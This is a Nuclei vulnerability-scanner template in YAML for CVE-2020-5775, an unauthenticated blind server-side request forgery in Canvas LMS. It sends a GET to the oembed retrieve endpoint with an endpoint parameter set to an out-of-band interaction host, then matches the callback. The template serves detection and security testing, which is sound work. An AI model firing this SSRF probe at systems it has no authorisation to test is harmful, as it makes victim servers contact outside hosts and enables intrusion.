28 lines
882 B
YAML
28 lines
882 B
YAML
id: CVE-2020-5775
|
|
|
|
info:
|
|
name: Canvas LMS Unauthenticated Blind SSRF
|
|
author: alph4byt3
|
|
severity: medium
|
|
description: Server-Side Request Forgery in Canvas LMS 2020-07-29 allows a remote, unauthenticated attacker to cause the Canvas application to perform HTTP GET requests to arbitrary domains.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-5775
|
|
- https://www.tenable.com/security/research/tra-2020-49
|
|
tags: cve,cve2020,ssrf,oast,blind
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
|
|
cvss-score: 5.80
|
|
cve-id: CVE-2020-5775
|
|
cwe-id: CWE-918
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|